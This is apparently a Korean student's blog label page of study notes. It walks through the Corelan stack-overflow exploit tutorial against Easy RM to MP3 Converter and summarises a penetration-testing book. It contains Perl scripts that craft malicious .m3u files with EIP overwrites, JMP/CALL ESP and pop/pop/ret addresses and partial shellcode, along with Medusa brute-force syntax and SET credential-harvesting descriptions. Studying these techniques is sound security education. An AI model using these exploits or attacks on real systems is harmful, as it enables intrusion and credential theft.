라벨이 Security인 게시물 표시

[exploit writing] 2_쉘코드로 점프 (5)

이미지
앞에서 언급한 대로 공격 코드를 작성하면 왼쪽 그림과 같은 구조를 가지게 된다. 자세한 흐름에 대한 설명은 다음을 참고하길 바란다. ① 버퍼 오버플로우가 발생하여 EIP에 0x7c9739ba (위 그림의 0x01966a10) 주소가 주입 되었다. 이 주소는 MSRMCodec00.dll 안에 존재하는 pop/pop/ret 기계어의 위치를 가리키고 있다. (현재 상태에서 ESP는 NOP의 시작점을 가리킨다) ② 조작된 EIP에 의해 0x7c9739ba 안의 명령이 수행 된다. : POP / POP / RET ③ pop/pop/ret을 통해 ESP 는 쉘코드의 시작점을 가리키게 되고, ret 명령에 의해 ESP 안에 들어가 있던 0x7c836A78  주소(이 주소는 내 컴퓨터의 call esp 주소이고 문서와는 다름)가 EIP로 주입된다. ④ EIP는  0x7c836A78  주소 안에 있는 'JMP ESP' 명령을 수행하게 되고, 프로그램의 흐름은 ESP로 향하게 된다. ESP는 이미 쉘코드를 가리키고 있으므로 우리의 의도대로 쉘코드가 실행 된다. 이제 위에서 작성한 공격 코드로 취약한 m3u 파일을 생성해 실행해 보자. my $file= "test4.m3u"; my $junk= "A" x 26064 ; my $eip = pack('V', 0x7c9739ba ); # MSRMcodec00.dll ??? pop/pop/ret ?? my $jmpesp = pack('V', 0x7c836A78 ); # JMP ESP my $prependesp = "XXXX"; # ESP? ???? ??? ????? my $shellcode = "\x90" x 8; # NOP 8 ??? ?? ?? $shellcode = $shellcode . $jmpesp; $shellcode = $shellcode."\xdb\xc0...

[exploit writing] 2_쉘코드로 점프 (4)

이미지
우선, 우리가 알아야 할 것은 pop/pop/ret 을 하기 위한 기계어다. 이 기계어들을 얻기 위해 ollydbg에서 제공하는 어셈블링 기능을 사용할 것이다. 우선 Easy RM to MP3 프로그램에 attach 한 뒤, 2번째 칸의 숫자들이 어셈블리에 대한 기계어들이다. ollydbg에서는 컨트롤 + f 를 눌러 확인해야하지만, 밑에 그냥 표로 만들어져 있는 것을 보는 것이 낫다. POP register 기계어 pop eax    58 pop ebx    5b pop ecx    59 pop edx    5a pop esi     5e pop ebp   5d 이제 우리는 사용 가능한 DLL 중 하나에서 이러한 순서 덩어리를 찾아야 한다. 전에 했던 스택 기반 오버플로우에서 애플리케이션 DLL 과 OS DLL 에 대해 언급했다. 윈도우 플랫폼과 버전에 범용으로 적용될 수 있는 공격 코드를 작성하기 위해 애플리케이션 자체의 DLL을 사용할 것을 추천한다고 말했다. 하지만, 아무리 애플리케이션 자체 DLL이 성공 확률을 높여 준다 하더라도, 매번 수행될 때마다 똑같은 베이스 주소를 가진다는 것을 확신할 수 없다. 때때로, DLL들은 위치가 재조정 되기도 하므로 이러한 상황에서는 OS DLL 중 하나를 사용하는 것이 더 좋을 수도 있다. (예를 들어 user32.dll 또는 kernel32.dll). 지난 장에서 했던 것처럼 우선 Easy RM to MP3 파일을 실행 시키고, windbg로 attach를 해 보자. attach를 하면 windbg는 로드 된 애플리케이션 또는 OS 모듈들을 보여 줄 것이다. 다음과 같이 dll의 목록이 나오는데, 앞 장에서 했던 것처럼 애플리케이션 dll을 찾아보자. (dll 찾는 것은 ollydbg로 아직 할 줄 모른다 ...ㅜ) 가운데를 보면 easy rm to conv...

[exploit writing] 2_쉘코드로 점프 (3)

이미지
2.pop/ret 위에서 설명했듯이 Easy RM to MP3 예제에서 우리는 buffer를 임의로 변조했고, ESP가 직접 우리가 작성한 쉘코드를 가리키도록 만들었다. 그렇다면 쉘코드를 가리키는 레지스터가 단 하나도 없다면 어떻게 될까? 이러한 상황에서, 쉘코드를 가리키는 주소는 스택의 어딘가에 담겨 있을 것이다. ESP를 덤프할 때, 처음으로 나오는 주소들을 유의해서 보길 바란다. 만약 이 주소들이 공격자의 쉘코드(또는 제어 가능한 버퍼)를 가리키고 있다면, pop/ret 또는 pop/pop/ret 명령을 통해 다음과 같은 결과를 확인할 수 있을 것이다. - 스택에서 주소를 가져옴 (또는 무시) - 쉘코드로 연결되는 주소로 점프 'pop/ret' 기술은 ESP+offset이 이미 쉘코드를 가리키는 주소를 담고 있을 때만 사용이 가능하다. ESP를 덤프한 다음 쉘코드를 가리키는 녀석이 처음으로 보이는 주소들 중에 존재하는지 확인한 후, EIP로 향하도록 pop/ret (pop pop ... ret) 참조를 입력하도록 한다. 이를 통해 스택에서 주소를 가져오고, EIP 안으로 다음에 수행해야 할 주소를 입력시킬 수 있다. 만일 처음으로 보이는 주소들 중 하나라도 쉘코드를 가리키는 것이 있다면, 공격은 성공적으로 이루어질 수 있다. 'pop/ret' 기술을 사용하는 두 번째 방법도 존재한다. 만약 공격자가 EIP를 제어하려 하는데, 쉘코드를 가리키는 어떠한 레지스터도 존재하지 않지만 때마침 쉘코드가 ESP+8 의 위치에 존재한다고 가정해 보자. 이런 상황에서, 공격자는 ESP+8로 흐름이 가도록 EIP에 pop/pop/ret 명령을 주입 함으로써 공격을 성공시킬 수 있다. 만약 해당 위치에 JMP ESP로 가는 포인터를 삽입한다면, JMP ESP 포인터 바로 오른쪽에 위치한 쉘코드로 점프하게 될 것이다. 실습을 통해 알아보도록 하자. 우리는 EIP를 덮어 쓰기 이전에 26064 바이트를 채워 넣어야 한다는 것을...

[exploit writing] 2_쉘코드로 점프 (2)

이미지
바로 전에 포스팅했던 쉘코드를 실행시킬 수 있는 방법들 중 하나를 해볼 것이다. 1. CALL [register] 만약 레지스터에 쉘코드를 직접 가리키는 주소가 로드 되었다면, 쉘코드로 점프하기 위해 단순히 CALL [reg] 를 수행하면 된다. 다시 말해서, ESP가 직접 쉘코드를 가리킨다면(ESP의 첫 번째 바이트가 쉘코드의 첫 바이트와 동일), 'CALL ESP' 주소로 EIP를 덮어쓰기만 해도 쉘코드가 정상적으로 실행이 될 것이다. 이 기법에 쓰이는 kernel32.dll이 많은 CALL [reg] 주소들을 포함하고 있어, 이용 가능한 레지스터들의 범위가 넓고, 꽤 유명한 방식으로 알려져 있다. ESP가 쉘코드를 직접 가리킨다고 가정해 보자. 첫째로, CALL ESP 기계어를 포함하는 주소를 찾아보자. 여기서 findjmp를 이용한다. findjmp를 xp환경에서 다운받아 실행하여야 한다. 사실 ollydbg를 다운받아 리버싱해서 찾아내려고 했지만 실패했다...ㅜ findjmp 프로그램 다운 받았던 곳 http://g0n4k00.tistory.com/57 0x7C736A78 에 call esp 라는 주소가 있는 것을 알아냈다. my $file = "test1.m3u"; my $junk = "\x41" x 26064 ; my $eip = pack('V', 0x7c836A78 ); my $prependesp = "XXXX"; my $shellcode = "\x90" x 25; # 0x90 = NOP $shellcode = $shellcode."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . ...

[exploit writing] 2_쉘코드로 점프 (1) First

우리는 첫 번째에서 취약점을 찾고, 이를 이용해 공격을 수행하는 공격 코드를 만드는 연습을 했다. 또한 ESP를 이용해 버퍼의 시작 부분을 임의로 가리키도록 해 공격자가 원하는 행동을 하도록 만들었다. 'JMP ESP'를 사용하는 것은 의심할 여지없이 완벽한 시나리오였다. 하지만 이것이 모든 상황에 적용되지는 않는다. 이번 장에서는 쉘코드를 실행시키거나 점프할 수 있는 몇 가지 다른 방법에 대해 다루고, 또한 버퍼의 크기가 작을 때 적용할 수 있는 차선책에 대해 알아볼 예정이다. 1. 쉘코드를 실행시킬 수 있는 몇 가지 방법 1) JMP or CALL  : 공격자는 쉘코드의 주소를 가진 레지스터를 기본적으로 사용하며, 그 주소를 EIP에 넣어 공격을 하게 된다. (첫번째 참고) 그렇기 때문에 공격자는 애플리케이션이 실행될 때 로딩되는 DLL들 중 하나의 레지스터로 점프 하거나 Call 하는 기계어를 찾아야 한다. 또한 특정 메모리 주소로 EIP를 덮어쓰는 대신 특정 레지스터로 점프 하는 주소를 EIP에 주입할 필요가 있다. 2) pop/return  : 만약 스택의 꼭대기에 있는 값이 공격자가 생성한 버퍼 내에 있는 주소를 가리키지 않지만, 쉘코드를 가리키는 주소가 스택 안에 존재하는 것을 본다면, pop/ret 또는 pop/pop/ret(해당 명령이 스택의 어느 위치에 존재하느냐에 따라 pop의 개수가 달라진다)와 같은 명령을 EIP로 주입함으로써 쉘코드를 로드할 수 있게 된다. 3) PUSH return  : 이것은 'CALL register' 기술과 약간의 차이점만 보이는 방식이다. 만약 공격자가 어디에서도 'JMP register' 또는 'CALL register' 기계어를 찾을 수 없다면 그냥 스택에 주소를 입력하고 ret 처리를 해 주면 된다. 기본적으로 ret이 뒤따라 오는 'PUSH register' 명령을 찾으려 노력해야 한다. 이러한 순서를 가지는...

[exploit writing] 1_스택 기반 오버플로우 (8) Last

이미지
이제 끝이 거의 다 보인다. 총 11개의 문서가 있는데 올해 안에는 끝났으면 좋겠다.. 목표 드디어 마지막 EIP 에 ESP 주소를 넣어서 계산기를 실행시켜보겠다!! 과정 1.Metasploit은 쉘코드를 만드는데 도움이 되는 페이로드 생성기를 가지고 있다. 또한 페이로드는 다양한 옵션을 가지고 있는데, 경우에 따라 그 크기가 조정될 수도 있다. 넉넉하지 못한 버퍼 공간 때문에 크기에 제한이 있다면 다단계 쉘코드나 해당 OS 용 32바이트 cmd.exe 쉘코드가 필요할 것이다. 또한 쉘코드를 작은 'egg'로 쪼개서 실행 전에 다시 모으는 'egg-hunting' 기술을 사용할 수도 있다. 2. 먼저 계산기 프로그램을 실행하도록 하는 exploit을 만들기로 하고, 이에 해당하는 쉘코드를 Metasploit을 이용해 만들어 보자. metasploit에 내장된 msfpayload를 이용해 페이로드를 생성한다. 자세한 내용은 Metasploit 프로젝트를 참고하길 바란다. 3. pdf 문서와는 좀 다르게 쉘코드가 만들어졌다. 문서에는 콘솔에 msfpayload 명령어를 치라고 해서 쳐봤더니 없는 명령어란다. 그래서 구글링 해봤더니 msfvenom으로 대체됐단다. 그냥 칼리 쉘코드 작성 쳐보니 동기의 블로그가 나왔다.. 13년도에 그냥 심심풀이로 했더구나 ㅠ 또 다시 차이를 느낀다. 동기가 쓴 명령어를 똑같이 따라 썼더니 쉘코드가 나왔다. 동기의 블로그를 보고 더 설명하자면, -b 옵션은 쉘코드에서 저 값을 나오지 않도록 인코딩을 커치는 것이다. 취약점을 이용하여 exploit을 작성할 시 \xff나 \x00 등 문자 때문에 payload가 손상되는 일이 간혹 있다. 저런 문자들을 bad char이라고 한다. bad char이 나오지 않도록 거치는 것이 -b옵션이다. 4. 이제 test를 다시 작성해서 오버플로우를 이용해 계산기를 실행시켜보자. my $file = ...

[exploit writing] 1_스택 기반 오버플로우 (7)

이미지
목표 JMP opcode를 찾아야 한다. *JMP opcode는 어셈블리에서 점프하는 명령어이다. 과정 1. 우리는 'JMP ESP'의 opcode가 무엇인지 이해할 필요가 있다. 이를 확인하기 위해 먼저 Easy RM to MP3를 실행하고, Windbg로 attach 해보자. 2. 프로세스를 선택하고 OK를 누르면 해당 어플리케이션에 의해 로딩된 모든 dll들을 보여준다. 또한 프로세스에 디버거를 attach 하자마자 어플리케이션이 break 된다. 여기까지 완료된 후 Windbg 명령 라인에서 a(assemble) 명령을 입력하고, 그 다음으로 'JMP ESP'를 입력해 본다. 3. 다시 엔터 키를 누르고, ' JMP ESP '를 입력하기 전에 보았던 주소와 함께 u를 입력해 본다. 결과적으로 아래와 같이 7c90120e 옆에 ffe4 를 볼 수 있는데, 이것은 'JMP ESP'의 opcode이다. 4. 이제   우리는 로딩된 dll들 중 하나에서 이 opcode 를 찾을 필요가 있다. Windbg 창의 윗 부분에서 Easy RM to MP3에 속하는 dll을 나타내는 라인들을 찾는다. 5. 아래의 easy RM to MP3 converter파일에 있는 dll을 하나씩 확인하면서 우리가 원하는 opcode가 있는지 찾아보자. (중간 과정은 생략하고 MSRMCcodec00.dll에서 찾은 결과를 가지고 진행하겠다.) 6. MSRMCcodec00.dll의 시작과 끝 주소를 입력해 값들을 알아보자. 7. 우리가 활용할 주소를 선택할 때 null 바이트가 들어가 있지 않은 주소가 필요하다. 앞서 도 말했지만 null 바이트는 종단 문자열이기 때문에 null 바이트 이후의 코드는 쓸모 없는 것이 되기 때문이다. 8. 앞에서 JMP ESP 주소가 null 바이트를 가지고 있으면 안 된다고 언급했다. 하지만 어떤 경우에는 null 바이트...

[exploit writing] 1_스택 기반 오버플로우 (6)

이미지
목표 EIP 가 쉘코드의 시작 주소로 점프도록 하는 것이 좋지 않은 방법이라는 것을 깨달음 (즉, 0x000ff730으로 EIP를 덮어씀) 과정 1. 그럼 이제 간단한 테스트를 해보자. 먼저 26,064개의 A를 입력하고, 000ff730으로 EIP를 덮어쓰며, 그런 다음 25개의 NOP를 입력하고 브레이크, 마지막으로 추가적으로 NOP를 입력한다. 만약 모든 것이 정상이라면 EIP는 NOP를 가지는 0x000ff730으로 점프할 것이다. 그리고 나서, 해당 코드는 브레이크까지 이동하게 된다. my $file = "crash25000_jump.m3u"; my $junk = "\x41" x 26064; my $eip = pack('V', 0x000ff730); my $shellcode = "\x90" x 25; # 0x90 = NOP $shellcode = $shellcode."\xcc"; # 0xcc = Break $shellcode = $shellcode."\x90" x 25; open($FILE, ">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created Successfully \n"; NOP는 no operation, 아무것도 하지는 않으나 EIP 값을 다음 명령줄 코드로 바꿔주는 역할을 하는 명령어이다. 그래서 위의 코드는 25개의 NOP를 지나 CC를 만나 BREAK 될 것이다. 2. 우리는 어플리케이션에 충돌이 발생한 다음 access violation이 아닌 break 발생을 의도했다. EIP를 보면 의도대로 0x000ff730을 가리키고, ESP 또한 그렇다. 하지만 ESP를 덤프해 보면 우리의 예상과 어긋났다는 것을 확인할 수 있다. 3. 여기서 얻은 교훈은 바로 ...

[exploit writing] 1_스택 기반 오버플로우 (5)

이미지
목표  EIP와 ESP 까지의 크기를 알았으니 이제 원하는 값을 ESP와 EIP에 넣어 보자. 과정 1. 길이를 모두 알았으니 test 파일을 수정해보자 my $file = "crash25000_EIP_BBBB.m3u"; my $junk = "\x41" x 26064; my $eip = "BBBB"; my $espdata = "C" x 1000; open($FILE, ">$file"); print $FILE $junk.$eip.$espdata; close($FILE); print "m3u File Created Successfully \n"; 2. EIP에는 42424242가 들어가 있고, ESP에는 43434343이 들어가 있음을 확인할 수 있다. 이제 우리는 EIP를 통제할 수 있게 되었다. esp 가 0x43434343 이라는 것은 두번째로 작성했던 메모리에 대한 설명을 다시 보면 알것이다. 또한 ESP 와 EIP 는 모두 32bits 이므로 BBBB 값과 CCCC 값이 각각 저장되는 것이다. 3. 이쯤에서 버퍼 오버플로우로 인해 스택의 모양이 어떻게 변했는지 확인해보자. 함수가 리턴(ret)할 때 BBBB가 EIP에 들어가게 되고, 프로그램의 흐름은 42424242라는 주소로 이어지게 된다. /*의문점*/ 분명 처음에 ESP는 버퍼의 시작 부분(스택의 꼭대기)을 가리키고 있다고 했는데 이제 보니까 EIP 위에 있는 걸 위 메모리 그림을 보면 알 수 있을 것이다. /*발견*/ 보통 정상적인 메모리의 ESP라면 버퍼의 시작부분을 가리키지만 버퍼 오버 플로우가 발생한 뒤의 ESP는 EIP 위에 놓이게 된다~! 4. 공격자가 EIP 를 통제할 수 있게 되면 공격자의 궁극적인 의도를 싷할 쉘코드 를 가진 곳을 EIP가 가리키도록 해야한다. ...

[exploit writing] 1_스택 기반 오버플로우 (4)

이미지
이제 test 스크립트를 수정하면서 메모리 위치 범위를 좁혀 나가자. 목표  EIP를 정확히 덮어쓰기 위해 Kali metasploit의 툴을 이용한다. 과정 1. test.pl 스크립트 수정을 통해 위치 범위를 좁혀 나가보자. 수정한 스크립트는 25,000개의 A와 5,000개의 B를 가지고 있다. 만약 EIP가 41414141을 가지고 있다면, EIP는 20,000 ~ 25,000 개 사이에 있을 것이고 424242라면 25,000 ~ 30,000 사이에 위치할 것이다. my $file = "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = "\x42" x 5000; open($FILE, ">$file"); print $FILE $junk.$junk2; close($FILE); print "m3u File Created Successfully \n"; 2. 수행 결과(쉬우므로 생략), EIP가 42424242(BBBB)를 가지고 있음이 밝혀졌고, 이제 우리는 EIP가 25,000~30,000 사이의 offset을 가지고 있음을 알 수 있다. 이것은 나머지 'B'들이 ESP가 가리키는 곳 어딘가에 있다는 것을 의미한다. 3. ESP의 내용을 덤프해보자. EIP 뿐만 아니라 ESP에도 공격자가 입력한 버퍼값을 확인할 수 있다. 스크립트를 일부 수정하기 전에 EIP를 정확히 덮어쓰기 위한 위치 발견을 위해 Metasploit을 사용해 보겠다. 4. Metasploit은 오프셋을 계산하는데 도움이 되는 pattern_create.rb 도구를 가지고 있다. 이 도구는 유일한 패턴을 가진 문자열을 생성한다. 이 패턴을 이용해 우리는 EIP에 덮어쓰기 위한 정확한 버퍼의 크기를 알아낼 수 있다. 먼저 5,000개의 문자로 된 하나의 패턴을 만들...

[exploit writing] 1_스택 기반 오버플로우 (3)

이미지
이제 디버거를 통해 스택 오버 플로우가 일어나는 과정을 드디어 볼것이다. 목표 스택에 버퍼 오버 플로우를 일으켜 EIP 를 통제하기 하는 것을 windbg를 통해 확인한다. 과정 1. 우선 windbg -I 명령을 통해 post-motem 디버거로 등록하자. 이 기능을 사용할 경우 어플리케이션에 문제 발생 후에 해당 문제점에 대한 사후분석이 가능해진다. 즉, 오류가 발생하면 디버거가 자동으로 이를 포착한다. 꼭 windbg 가 있는 디렉토리로 들어가서 windbg -I 명령어를 써야한다! windbg 우클릭 후 속성에 가면 위치가 있을 것이니 복사해서 cd 명령어를 통해 들어가도록 하자. 2. test.pl 파일을 좀 수정해야한다. my $junk = "\x41" x 10000; -> my $junk = "\x41" x 30000; 왜냐하면 10000은 오버 플로우가 발생하지 않는다. exploit writing 문서에는 3만 이상으로 해야 오버 플로우가 난다고 명시만 되어있다. 하지만 코드는 수정이 안됐는지 오류가 뜨지 않아서 수정해야했다. 3. 이제 converter 프로그램을 사용해서 오류가 나도록 해보자. crash 파일을 load 하자 windbg가 오류를 감지하고 자동으로 실행되어 오류 지점을 보여준다. 4. 위 사진에서 주목해야할 부분은 eip=4141414141 과 41414141 ??  ??? 이다. 왜냐하면 우리는 방금 소목표를 이루었기 때문이다. 즉, EIP 값을 오버 플로우를 통해 41414141로 바꾸었다. 5. 우리가 앞에서 작성한 crash.m3u 파일이 버퍼로 읽혀 버퍼가 오버플로우 되는 것처럼 보인다. 버퍼로 채워지는 정확한 양을 알 수 있다면 EIP 값을 완전히 통제 가능할 것이다. 이런 형태의 취약점을 흔히 스택 오버플로우라 부른다. 여기서 중요한 것은, 정확한 버퍼 크기를 알아내, 정확하게 EIP를 덮어쓰는 것이다. 다음 소목표...

[exploit writing] 1_스택 기반 오버플로우 (2)

이미지
공격코드를 작성하기 전에 지겨운 메모리에 대해 공부해야한다. 목표 오버 플로우를 일으킬 메모리에 대해 알아보자. 특히 EIP , ESP 1) 메모리의 구조 1. code segment : 프로세서가 실행하는 명령. EIP 는 다음 명령의 트랙을 갖고 있음 2. data segment : 변수들, 동적 버퍼 3. stack segment : 함수에 데이터나 인자를 전달하기 위해 사용 (스택 메모리에 직접 접근하기 원한다면 ESP 를 사용) 2) 프로세스 메모리 맵 1. text segment : 읽기 전용 2. data/bss segment : 쓰기 가능.고정된 크기로 전역 변수와 정적 변수를 저장하는 데 사용        -data : 초기화 된 전역 변수,문자열, 상수 등        -bss : 초기화 되지 않은 변수 3. stack : LIFO 구조를 가진 데이터 구조체 3) 스택 사용 예제 do_something (param1) 이 호출 될 경우 개략적으로 다음과 같은 과정이 발생 PUSH *param1 -> CALL do_something -> PUSH EIP -> PUSH EBP -> PUSH buffer[128] 특정함수의 작업이 끝나면 전체 흐름은 main 함수로 돌아오게 된다. ㄱ. 버퍼 오버플로우를 발생시키기 위해 do_something::buffer 공간, 저장된 EBP, 그리고 최종적으로 저장된 EIP의 값을 덮어쓸 필요가 있다. buffer+EBP+EIP를 덮어쓴 후 스택 포인터는 저장된 EIP 다음 위치를 가리키게 된다. ㄴ. 함수 do_something이 리턴한 뒤 EIP와 EBP는 스택으로부터 pop되고, 버퍼 오버플로우 시 설정된 값을 가지게 된다. 간단히 말해서, EIP를 통제함으로써 함수가 '정상적인 흐름을 재개'하기 위해 사용할 리턴 어드레스를 변경할 수 있다. ㄷ. ...

[exploit writing] 1_스택 기반 오버플로우 (1) First

이미지
Corelan가 쓴 Exploit Writing 을 통해 이제 뭔가 보안 공부의 첫 걸음을 시작하려 한다. 목표 윈도우 xp에서 의 취약점을 이용한 스택 오버 플로우 한다. 준비 프로그램 1. kali (가상 머신) 2. windows xp (가상 머신) 3. windows xp 에서 windbg 4. windows xp 에서 펄 스크립트를 사용하기 위한 액티브펄 5. windows xp 에서 펄 스크립트를 사용하기 위한 per dev kit 6. Easy RM to MP3 Converter 과정 1. 우선 xp에서 Easy RM to MP3 Converter를 설치한다. 2. 빈 윈도우 xp에서는 위에 쓴 준비물 중 펄 스크립트 파일을 실행시키기 위한 프로그램들을 설치한다. 3. 메모장에 밑의 코드를 작성하고 test.pl이라는 이름으로 저장한다. my $file = "crash.m3u"; my $junk = "\x41" x 10000; open($FILE, ">$file"); print $FILE "$junk"; close($FILE); print "m3u File Created Successfully \n"; 4. 그럼 밑의 그림처럼 아이콘들이 있을 것이다. 6. test 파일을 실행 시키면 위에서 봤듯이 crash.m3u 라는 파일이 생성될 것이다. (커맨드 라인을 이용해서 test 파일을 실행시키면 m3u File Created Successfully 문구가 나옴) 7. 이제 Easy RM to MP3 Converter를 실행시키고 crash 파일을 LOAD 하면  에러 메시지가 나온다. 이 수행결과는 converter 가 crash 되지 않고, 정상적인 에러 메시지를 출력함을 알 수 있다. 8....

이제 시작이야 해킹과 침투 테스트(6)

프레임 워크란 설계의 기반이 되는 부분을 기술한  확장 가능한 기반 코드와 사용자가 이 코드를 자기 입맛대로 확장하는 데 필요한 라이브러리 이 두 가지 요소가 통합되어 제공되는 형태를 말하며, 사용자가 이를 이용해 일정 수준 이상의 품질을 보장받는 코드를, 비교적 빠른 시간에 완성 및 유지 보수할 수 있는 환경을 제공해주는 솔루션으로 "기본적인 설계나 필요한 라이브러리는 알아서 제공해 줄꺼니깐 넌 그냥 니가 진짜로 하고 싶은 기능 구현에만 전념해!" 라는 취지에서 만들어진 물건이란 것이다. 프레임 워크에는 웹에 대한 다양한 기능이 탑재되어 있다. 1. 브라우저에서 전송하는 요청을 가로채는 기능 인터셉팅 프록시를 통해 제공된다. 각 요청의 핵심 부분 중 하나는 변수이다. 이러한 벼수들이 사용자에게 어떠한 페이지를 보여줄지 결정하게 된다. 그리고 사용자 또는 공격자가 요청에 있는 변수를 추가 편집 삭제를 할 수 있다는 것을 명심하자. 또한 웹 애플리케이션이 변조된 요청을 전송 받았을 때, 어떻게 대응할지 결정하는 것도 웹 애플리케이션이라는 것을 명심하자. 2.다음은 웹페이지, 디렉터리, 그 밖에 웹 애플리케이션을 구성하고 있는 모든 파일을 찾아주는 기능이다. 이 기능의 목적은 공격 가능한 범위를 알 수 있게 해준다. 하지만 은밀성은 많이 떨어진다. 3. 다음은 웹 애플리케이션에서 전송된 응답을 분석하여 취약점을 검사하는 기능이다. 프록시의 변수값을 변조해서 웹 애플리케이션으로 전송하면 웹 애플리케이션은 어떤 방식으로든 응답을 해야한다. 이러한 응답을 분석하여 애플리케이션에 취약점이 있는지 분석한다.  Nikto: 웹서버 정보 수집 툴 Nikto는 웹서버 취약점 스캐너다. nikto -h target_ip -p port_number w3af: GUI와 기능 w3af은 웹 해킹할 때 없어서...

이제 시작이야 해킹과 침투 테스트(5)

SET 기본 기능 SET은 메뉴 기반의 프로그램 공격을 공격대상에 특화시킬 수 있게 해준다. 웹 사이트 공격 벡터 SET의 주요 공격 벡터중의 하나는 웹사이트 공격 벡터다. 자바 애플릿을 이용한 공격 방법과 인증정보를 탈취하는 방법이 있다. 자바 애플릿을 이용한 기법은 자바의 설계적 결함을 활용한다. 먼저 SET가 해당 웹사이트에 가서 자동으로 웹사이트를 복사하고 , 복사한 웹사이트에 악성 코드가 삽입된 자바 애플릿을 넣는다. 그리고 웹서버를 설정하고, 여러 페이로드를 생성한다. 인증정보 탈취하는 방법도 자바 애플릿과 비슷하게 먼저 웹사이트를 복사하고 사용자에게 이메일을 보낸 다음 사용자들의 인증 정보를 탈취하는 것이다. SET는 2시간마다 업데이트 되기 때문에 정기적으로 업데이트를 해주어야한다.

이제 시작이야 해킹과 침투테스트 (4)

이미지
Medusa : 원격 서비스의 권한 획득하기 2단계 결과 값을 검토할 때  원격 접근 서비스가 있는 IP주소에 특별한 관심을 보여야한다. SSH, Telnet, FTP, PC anywhere, VNC 등의 접근 권한을 획득하면 공격대상을 장악할 수 있다. 해커들은 보통 이러한 서비스를 발견하면 "온라인 비밀번호 크래킹"을 시도한다. 온라인 비밀번호 크래킹이란, 비밀번호를 무작위 대입하여 공격하는 기법이다. 반대로 오프라인 패스워드 크래커를 사용할 때는 서비스가 실행되고 있지 않아도 된다. 그 대신 패스워드 해쉬가 필요하다. 비밀번호 크래킹 툴은 다향하나 가장 많이 사용되는 툴은 Medusa 와 Hydra가 있다. Medusa는 원격 인증 서비스의 접근 권한을 획득하기 위해 로그인 계정을 무차별로 대입하는 툴이다. Medusa를 사용하려면 공격 대상 IP주소, 로그인을 시도할 사용자 계정 또는 계정 목록, 로그인을 시도할 떄 사용될 비밀번호나 비밀번호 사전 파일, 인증을 시도하는 서비스의 이름 등 여러 가지 정보가 필요하다. JtR 같은 오프라인 비밀번호 크래킹들은 1초에 백만 개의 비밀번호를 테스트 할 수 있다. 하지만 Medusa 나 Hydra 같은 비밀번호 크래킹 툴은 1초에 한 두 개의 비밀번호를 테스트 할 수 있다. medusa -h 공격대상 IP -u 사용자 계정 -P 비밀번호 사전 경로 -M 공격할 인증 서비스 -U를 쓰면 사용자 계정들을 쓴 파일의 경로를 쓴다. -P도 마찬가지이다. #굉장히 오래걸리는 것을 확인할 수 있다. Metasploit 최초의 오픈소스 공격 프레임 워크이다. Metasploit은 공격대상과 다양한 페이로드를 선택할 수 있게 해준다. 페이로드는 추가적인 기능 또는 공격대상 컴퓨터에서 달성하고 싶은 행동 방식이다. Metasploit과 취약점 스캐너의 차이점에 대해 이해해야한다. 스캔은 매우 간접적인 방법으로 공격대상을 의도하지 않게 파손한다거나 영향을 줄 확...

이제 시작이야 해킹과 침투테스트 (3)

3장 스캐닝 1단계 탐색에서는 IP주소만을 목록화하는 것이다. 이제 2단계에서는 이 IP주소를 가지고 , 각 주소에 어떤 포트가 열려 있는지 그리고 어떤 서비스가 실행되고 있는지 확인할 것이다. 3장의 모든 예는 칼리 리눅스ㅔ서 운도우 xp나 metasploitable VM을 대상으로 실행되는 것이다. 이 책의 숙제는 Metasploitable VM을 성공적으로 해킹하여 시스템을 장악하는 것이다. 2단계를 다음 네 가지의 과정으로 재차 분류할 것이다. 2-1. 핑 패킷으로 컴퓨터가 작동 중인지 확인. 2-2. Nmap을 통한 포트 스캐닝 2-3. NSE을 활용하여 대상에 대한 정보 추가로 획득 2-4. Nessus를 통한 취약점 스캐닝 어느 정도 숙련이 되고 나면 2-1과 2-2를 별도로 진행하지 앟고 Nmap으로 한번 진행하게 될 것이다. 과정 2-2는 특정 컴퓨터에서 어떤 포트가 열려 있는지 그리고 어떤 서비스가 실행 중인지 확인하는 과정이다. 간단히 설명하자면 포트는 소프트웨어, 서비스,네트워크가 컴퓨터와 같은 하드웨어와 통신할 수 있게 해주는 수단이다. 과정 2-3은 NSE를 활용하여 앞에서 발견한 내용을 확인하고, 추가로 정보도 획득한다. NSE는 Nmap의 기능을 확장시켜준다. NSE로 직접 스크립트를 만들어서 결과값에 대해 확인하거나 새로운 취약점을 검색하거나 아니면 여러 해킹기법을 자동화 할 수 있다. 과정 2-4는 취약점 스캐닝이다. 이미 알려져 있는 취약점을 발견하는 것은 로또 확률이다. 해킹에 성공한 컴퓨터를 사용하여 다른 컴퓨터를 공격하는 것을 pivoting이라고 한다. 최종 목적지에 다다르기 위해 pivoting을 여러번 헤야 할 수 있다. 처음에는 외부 네트워크와 연결되어 있는 장비를 먼저 공략하고 , 점차 내부에 있는 장비를 공략하는 것이다. Fping : 핑과 핑 스윕 핑은 ICMP패킷이라고 불리는 특수 네트워크 패킷의 일종이다. 핑은 ICMP 반향 요청 패킷이라는 특수한 네트워크 트래...

이제 시작이야 해킹과 침투 테스트 (2)

netcraft 또 다른 정보 수집 수단. site repot 에는 IP 주소, 웹서버의 운영체제,DNS 서버 등을 포함하여 공격 대상에 대한 많은 정보들을 포함하고 있다. Host 종종 탐색을 하다보면 IP주소보다는 호스트 이름을 검색 결과로 얻을 경우가 있다. 이 때 host 툴로 host 이름을 통해 IP 주소를 알 수 있다. 터미널에 host target_hostname 을 입력하면 IP주소로 변환된다. 반대로 IP 주소로 host 이름을 알 수 있다. DNS에서 정보 추출하기 침투테스터는 공격 대상의 DNS 서버에 초점을 맞출 필요가 있다. DNS 서버는 고장나지 않으면 건들지 말라는 원칙으로 운영되고 있기 때문에 살펴보기 흥미롭다. 요새는 드물지만 공격대상 DNS를 해킹할 떄 가장 먼저 해야 할 것은 zone transfer 이다. 많은 네트워크에서는 redundancy 와 load balancing 을 위해 여러 대의 DNS 서버를 사용한다. 그 결과 DNS 서버들이 서로서로 정보를 공유하는 방법이 필요하다. 이러한 공유는 zone transfer(구역 전달)이라고 한다. 구역 전달은 공격 대상 DNS 서버가 보유하고 있는 모든 기록을 획득할 수도 있다. nslookup DNS을 조사하기 위한 첫 번째 툴은 nslookup 이다. 이것은 DNS 서버를 쿼리하고 호스트에 대한 기록을 확보할 수 있는 툴이다. Dig Dig 또한 